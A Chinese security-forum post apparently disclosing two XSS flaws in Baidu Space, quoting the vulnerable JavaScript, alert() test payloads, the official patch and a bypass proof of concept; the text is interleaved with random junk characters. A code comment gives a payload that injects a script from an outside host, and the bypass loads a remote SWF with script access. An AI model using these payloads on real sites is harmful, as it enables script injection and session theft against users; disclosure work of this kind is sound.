找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2117|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  " F1 D2 [; `' U- v& h5 d

, r# P# @2 ^* Y( c$ C, j1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
" h0 W8 |' F$ S8 d  {5 h* N2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  5 V; m, E9 f4 J& I' U, B% d

8 M# D. o6 F/ ^$ u  N6 K将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
: |" H. Q9 Q. a' C/ X其中BdUtil.insertWBR为  
) T2 {) u6 ~" ifunction(text, step) {  
4 `3 E; k7 m1 t4 y4 z    var textarea = textAreaCache || getContainer();  1 ?- [# h8 m1 `3 d' @
    if (!textarea) {  ; r  c$ j' U  \3 T
        return text;  
9 l% @7 Q5 X5 _( {    }  3 z' u! B9 I' C: p
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
* K- h: v7 t4 V# v    var string = textarea.value;  
# a7 p$ D+ f8 H8 s$ C& _- k    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  " ~1 h8 F& U+ p* f) w$ O; N
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  9 U3 v; C7 k8 t- p5 x# P8 ?& R; V! j1 s
    return result;  8 T! _) U* C8 z& _
}  6 h6 a  l. Y: x. w% u) Y! c/ R
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
' A- w: ^9 |* R9 n- @4 ?' e/ z测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  , {& Q6 z9 ]7 ?& X- [( R7 m
   5 D+ ~' T( N( ~% {
二:creatbgmusic() Dom-Xss Bug  3 |7 M$ s. V5 w0 P" E
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
* t$ K( W& h: N; L& Y/ r5 B3 m/ X5 c
  r- x+ ~" b1 ^) chttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  0 u1 y, P( ^" V! V+ ]
( ?% E1 \# i; ^& y' Z
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  ) R6 a6 c. P6 b7 u) ?. [& O1 @
    //传入的murl赋值到bgmusic1和bgmusic2中  
! r3 Q- B( f4 N  R) z0 N/ ^# j    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
% _6 Q  u7 C  H; H- H    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
; d7 r% c& o% ?2 k2 x& I. X    if (musicnum <= 1) {  - q9 Z2 d, F% r
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
" h  E' |. Y5 G% z( V0 @    }  * p# D; o6 @+ f- u
    bgmusic1 += "</OBJECT>";  
5 o) D7 s! `( l" H: o    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
# b+ a* {' c) L4 F- y; [    if (musicnum <= 1) {  
# e# J8 u  K! ]$ b; P  L' h' [- U        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
5 z: P" }2 ?4 _$ H5 X6 j6 q+ A, H    }  9 t& i: D) q1 d0 ?, E# T0 u+ \. C
    bgmusic2 += "> </EMBED>";  
. V: N. F' Y9 H    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
; S7 M4 O+ a! H1 s4 d2 w    var bgmus = detectWMP();  5 \: K% W8 a. }
    if (functype == "FckMusicHelper") {  4 T- o$ M  X; O: H" G+ Z0 w) f  P
        if (bgmus.installed) {  
: t. y* V4 k! S. Y& M5 u            if (bgmus.type == "IE") {  
1 K( a9 m& N( z$ o3 u- C* ]                return bgmusic1;  1 f- G! m4 f. E$ B+ @
            } else if (bgmus.type == "NS") {  
( [: q& c. b: ?$ B& ]- b5 `, |                return bgmusic2;  * Q' l7 w5 G# M) R* j
            }  
7 m/ _( ?% G' S' q' f- l4 |4 @        } else {  4 o- Q5 L3 |; N8 N- t4 U( z
            return bgmusic3;  0 z2 @. f; u) ~
        }  0 ~5 Q/ b; F7 N9 {$ l' _/ m4 Y
    } else {  3 l. @' {* w! G$ f( o
        if (bgmus.installed) {  
0 r$ b! p& _6 I  K: V% {8 m            //document.write 直接输出bgmusic变量 导致xss  
6 x) [! C4 {* W, D- l) X7 g            if (bgmus.type == "IE") {  3 Y/ B( y4 g) A% j2 w
                document.write(bgmusic1);  
2 o  t8 k! ?! F3 S/ V" e( {            } else if (bgmus.type == "NS") {  
, M$ s7 o8 M5 _' Z                document.write(bgmusic2);  8 Z; S0 I( _4 y! S, t  A. e% V
            }  - X; l6 V' u) M# \3 h# I
        } else {  + w; V) E; a" T( R
            document.write(bgmusic3);  
( L* h7 M9 {+ R" z4 x        }  ; r1 h( `) q% F# M3 T
        return "";  , E) j. r& o% @6 M9 S: f
    }  / W) M$ n5 J: F
}  
2 O9 _# P( H) c. u$ {2 N% q! ~( Z4 k" X+ W4 U* S
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  
1 E- B" \2 P0 r+ r0 Z7 Y+ U8 _% a+ N( I* O! x
function initBlogTextForFCK(){  
; q7 x9 R1 n( J1 i& B5 y//fck init music  
7 _3 H- R$ t/ |. v$ B+ v3 Iif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  % P3 c/ E2 H+ i: G8 h' w" B  o
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  " W4 J2 b4 q& |0 m: Q
var isAutoPlay=true;  
" p; \2 r8 r! O0 i4 U. Jfor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  ; j. v( O( E  l7 f. d
  var img=imgBox;  
5 q) P- \/ \7 W  if(img.getAttribute(’rel’)){        6 s/ j: v, G( y5 F& p$ u4 H! j
   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
% {9 P$ |4 V7 \   var musicDiv = document.createElement("SPAN");  , T& L* \% H$ S, s8 x7 ~% {8 B: P
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  % k5 I5 m, ~. c; G5 k" v
     
5 j5 C% \( W# K; E8 P      ..........................  1 |" n- E- [4 R
     ) o; s; r* u9 s& X
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
- l( a6 v9 T% u# }) i   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
% l& m) |! Z& Y5 x% v9 q* W   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
( {& A- G! T* j5 N% d" D   musicDiv.innerHTML=shtml;  
  v2 ?  {5 K4 U   i--;n--;  
- T1 w+ Q7 C# A& y( Q  }  
+ q; n/ q7 C7 [1 i}  , S7 U7 m5 d& r% M
2 g2 T, Y8 ^; W) _4 ~
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  ' A0 z0 F: k' ]% q  V  p
   
/ U( t/ o( X8 u9 U) T) N: E测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>    a2 F' j9 _* f
# W3 n7 M+ T7 G* e: k6 f
等待官方补丁  
! a; o5 B5 S; |6 v  g9 |# S: C1 m5 M9 [
update 2010年5月13日   ! N# }4 k- N4 I) t$ [& D0 A
9 R1 J0 {* {# {0 I6 D
官方补丁:  
! _* W2 N4 S# j% v
3 g$ z4 c( P  p! }) n4 D1 |var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
6 n# ^' p3 d& p( ?4 V' B: V改为:  
1 b' l3 A/ z! a% L4 I, {8 ?# Hvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  : a6 F' |) Q, [  u4 d' J
! L( S/ z! Y+ [" m: G/ W
update 2010年5月13日 21:50:37  - V, E+ z& }4 ^$ _
* F7 I2 \, V. Y0 u1 n0 q, y
补丁存在漏洞 没有过滤" 可以继续跨:  9 `. a8 A) @, p; ]" h

; e: {$ I& c9 L0 V" VNEW POC:  
$ \+ Y8 b7 k) f9 A# v' o4 c2 s) u2 {5 Y4 P* c  N
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 0 Y4 G2 d6 O  A  i$ k2 ^' C7 u) l
# }, u+ g' x( ?, G1 _& k
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
9 H4 J& K2 k2 K0 V5 ]
1 q) Q/ \6 o" I+ n3 F* M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表